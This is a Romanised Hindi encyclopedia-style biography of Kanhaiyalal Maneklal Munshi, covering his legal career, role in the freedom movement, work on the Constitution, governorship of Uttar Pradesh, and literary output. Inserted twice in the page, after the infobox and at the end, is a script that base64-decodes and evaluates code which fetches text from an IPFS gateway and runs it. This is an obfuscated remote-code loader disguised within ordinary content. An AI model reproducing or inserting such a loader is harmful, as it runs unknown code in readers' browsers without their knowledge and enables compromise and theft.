कन्हैयालाल माणिकलाल मुंशी
kanhaiyalal manikalal muanshi
| |
| poora nam | kanhaiyalal manikalal muanshi |
| janm | 29 disanbar, 1887 |
| janm bhoomi | bh doch (gujarat) |
| mrityu | 8 pharavari, 1971 |
| mrityu sthan | bambee (mumbee) |
| nagarikata | bharatiy |
| prasiddhi | svatantrata senani, rajaneta, qanoon visheshajn, sahityakar tatha shikshavid |
| dharm | hindoo |
| aandolan | hom rool aandolan, baradoli satyagrah, namak satyagrah, savinay avajna andolan |
| vidyalay | bambee vishvavidyalay |
| shiksha | el.el.bi. (vakalat) |
| vishesh yogadan | bharatiy vidya bhavan ki sthapana |
| pad | rajyapal (uttar pradesh) |
| karyakal | 2 joon, 1952 se 9 joon 1957 tak |
| any janakari | sanvidhan-nirman ke lie banayi gayi samitiyoan mean se kanhaiyalal muanshi sabase zyada gyarah samitiyoan ke sadasy banaye gaye the. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
kanhaiyalal manikalal muanshi (aangrezi: Kanaiyalal Maneklal Munshi, janm: 29 disanbar, 1887; mrityu: 8 pharavari, 1971) bharat ke svatantrata senani, rajaneta, qanoon visheshajn v gujarati, aangreji, hindi ke prasiddh sahityakar tatha shikshavid the, jo bambee ke grihamantri, uttar pradesh ke rajyapal bhi rahe the. bharat sarakar ke khady mantri pad par rahe. unhoanne mumbee mean bharatiy vidya bhavan ki sthapana ki. inhoanne muanshi premachand ke sath hans ka sanpadan bhi sanbhala tha.
jivan parichay
kanhaiyalal muanshi ka janm bh doch (gujarat) ke uchch sushikshit bhagarv brahman parivar mean hua tha. kanhaiyalal ki prarambhik shiksha apani maan ke dharmik gitoan aur kathaoan se huee. b dauda mean apani mahavidyaliy shiksha ke dauran kanhaiyalal muanshi ko adhyapak ke roop mean araviand ghosh (maharshi araviand) ka sannidhy mila. is sampark se muanshi ke man mean aupaniveshik shasan ke viruddh hathiyaraband vidroh ka sankalp jaga. sath hi isi sampark ne muanshi ke hriday mean bharat ki gauravashali saanskritik, bauddhik tatha adhyatmik dharohar ke prati agadh shraddha bhi bhar di. 1910 mean muanshi ne bambee vishvavidyalay se elelabi ki upadhi prapt ki aur vakalat shuroo karane ke bad bahut kam samay mean hi bambee uchch nyayalay ke pramukh vakiloan mean se ek ban gaye. hiandoo kanoon par muanshi ko asadharan maharat thi kyoanki unhoanne yah jnan keval kanooni kitaboan se nahian balki mitakshar v dharmashastroan ke gambhir v tarkasangat adhyayan se prapt kiya tha.
bharatiy vidya bhavan ki sthapana
svadhinata se lagabhag das sal pahale navambar, 1938 mean unhoanne bharatiy vidya bhavan ki sthapana ki taki bharat ke vartaman tatha bhavishy ko bharat ke saanskritik aur vaicharik punarjagaran se sanjoya ja sake. 1938 mean muanshi aur unake tin mitroan dvara diye gaye 250 rupaye prati varsh ke yogadan se sthapit bharatiy vidya bhavan ke aj sare vishv mean lagabhag 120 keandr aur inase ju de hue 350 se adhik shaikshanik sansthan haian. bhavan se sanbandhit kee sansthanoan mean ianjiniyariang, soochana praudyogiki, mainejameant, sanchar v patrakarita, vijnan, kala v vanijy ki padhaee ki vyavastha hai. lekin in sabase oopar bhavan ne bharatiy vidya ke adhyayan-adhyapan par sarvadhik dhyan diya hai.
svatantrata sangram mean yogadan
bharat ki svadhinata ke lie atur kanhaiyalal muanshi pahale vishv-yuddh ke dauran eni beseant ke hom rool aandolan se ju d gaye lekin bad mean gaandhi ke sampark mean ane par unhoanne kaangres ka sath dene ka faisala kiya. saradar vallabhabhaee patel ke netritv mean 1928 ke baradoli satyagrah mean kanhaiyalal muanshi ji ne badh-chadh kar hissa liya. isi prakar 1930 ke namak satyagrah mean muanshi ne sapatnik bhagidari ki. namak satyagrah mean bhagidari ke chalate unhean chhah mahine ka karavas bhi bhugatana p da. 1931 mean savinay avajna andolan mean bhag lene ke dandasvaroop muanshi ko do sal ki saza sunayi gayi. 1937 mean kanhaiyalal muanshi ko tatkalin b aaumbe presideansi ki pahali nirvachit sarakar mean mantri pad par niyukt kiya gaya. halaanki unaki vyaktigat pasand kanoon v shiksha mantralay thi, lekin unhean grih mantralay jaise mahattvapoorn vibhag ka uttaradayitv sauanpa gaya. yah us daur ki bat hai jab aangrezi hukoomat bharatiyoan ko svashasan ke lie poornatah aksham manati thi. visheshakar sampradayik masaloan par vah bharatiyoan ko viphal dekhana chahati thi. lekin muanshi ne apane grihamantri ke karyakal mean karyakushalata, nishpakshata v nyayapriyata ka namoona pesh kiya.
sanvidhan-nirman mean yogadan
svatantr bharat ke lie naye sanvidhan-nirman ke rachayitaoan mean adarshavad v yatharthavad ke mishran ki avashyakata thi. rajanitik aantardrishti aur kushagr kanooni buddhi se paripoorn kanhaiyalal muanshi is kary mean sabase daksh mane gaye. sanvidhan-nirman ke lie banayi gayi samitiyoan mean se muanshi sabase zyada gyarah samitiyoan ke sadasy banaye gaye. d aau. bhimarav ambedakar ki adhyakshata mean banayi gayi sanvidhan nirman ki praroop samiti mean kanoon mean ‘har vyakti ko saman sanrakshan’ ke siddhaant ka masavida muanshi aur ambedakar ne sanyukt roop se likha tha. isi prakar kee a dachanoan aur vyavadhanoan ke bavajood hiandi tatha devanagari lipi ko naye bharatiy sangh ki rajabhasha ka sthan dilane mean muanshi ne sabase pramukh bhoomika nibhayi. 14 sitambar, 1949 ko sanvidhan sabha ke is nirnay ko prati varsh hiandi divas ke roop mean manaya jata hai. sanvidhan-nirman mean kanhaiyalal muanshi ka sabase zyada dhyan ek mazaboot keandr ke aantargat sanghiy pranali vikasit karana tha, desi riyasatoan ke bharat mean vilay ki mushkiloan ke sandarbh mean aur asankhy vividhataoan vale is nav-svatantr rashtr mean muanshi sahit any sanvidhan-nirmataoan ne ek mazaboot keandriy sarakar ko aparihary mana. kanhaiyalal muanshi ke lie bharatiy sanvidhan ki pahali pankti ‘indiya dait iz bharat’ vakyaansh ka arth keval ek bhoobhag nahian balki ek aantahin sabhyata hai, aisi sabhyata jo apane atm-navinikaran ke zariye sadaiv jivit rahati hai.
uttar pradesh ke rajyapal
1947 mean haidarabad ke nizam ne apani riyasat ko svatantr rashtr ki manyata dene ki maang ki to is samasya ko sulajhane ke lie bharat sarakar ne muanshi ko haidarabad mean bharat sarakar ka pratinidhi (ejeant janaral) niyukt kiya. haidarabad rajy ke bharat mean vilay ke bad tatkalin grih mantri saradar patel ne is abhiyan mean muanshi ki aham bhoomika ki bahut prashansa ki. apane is durooh kary ko sampann karane ke bad muanshi ne is par apane sansmaran d aiand aauf ain ira (haidarabad memoirs) namak ek pustak bhi likhi. d aau. rajeandr prasad ke rashtrapati chune jane ke bad muanshi keandriy mantrimandal mean unake sthan par krishi v khady mantri bane. isi dauran unhoanne paryavaran tatha vaniki ke sanrakshan ke lie kee karagar prayas arambh kiye. har varsh julaee mean ayojit van mahotsav kanhaiyalal muanshi ke unhian prayasoan ki hi den hai. svatantr bharat mean somanath mandir ka punarnirman bhi muanshi ke ejeande par tha. unaki is sakriyata ke karan pradhanamantri pan. javaharalal neharoo ne ek kaibinet baithak ke bad kanhaiyalal muanshi se kaha ki ap somanath mandir ki punahsthapana ke lie jo prayas kar rahe haian, ve mujhe pasand nahian haian. 1952 se 1957 tak kanhaiyalal muanshi uttar pradesh rajy ke rajyapal rahe. 1959 mean muanshi kaangres parti ki sadasyata se tyagapatr dekar chakravarti rajagopalachari ki svatantr parti mean shamil ho gaye. isake kuchh samay bad unhoanne bharatiy janasangh ki sadasyata grahan kar li.
sahityik parichay
ek rachanakar aur sampadak ke roop mean kanhaiyalal muanshi ki upalabdhiyaan anoothi haian, jaise yang indiya akhabar ka sampadan aur muanshi premachand ke sath hans patrika ka sampadan. kanhaiyalal muanshi ek asadharan sahityakar the. unhoanne gujarati, hiandi v aangrezi mean sau se zyada utkrisht granthoan ki rachana ki. ek sahity sevak ke roop mean unhoanne gujarati sahity parishadh, sanskrit vishvaparishadh tatha hiandi sahity sammalen ki aguaee bhi ki. ek shikshavidh ke roop mean bhi muanshi ne anek shaikshanik sansthanoan ki sthapana ki. iname sabase ullekhaniy hai saradar patel ke sath mil kar anand mean bharatiy krishi sansthan ki sthapana, jo aj ek poorn vishvavidyalay hai.
nidhan
kanhaiyalal manikalal muanshi ka dehaant 8 faravari, 1971 ko hua.
|
|
|
|
|
|
tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>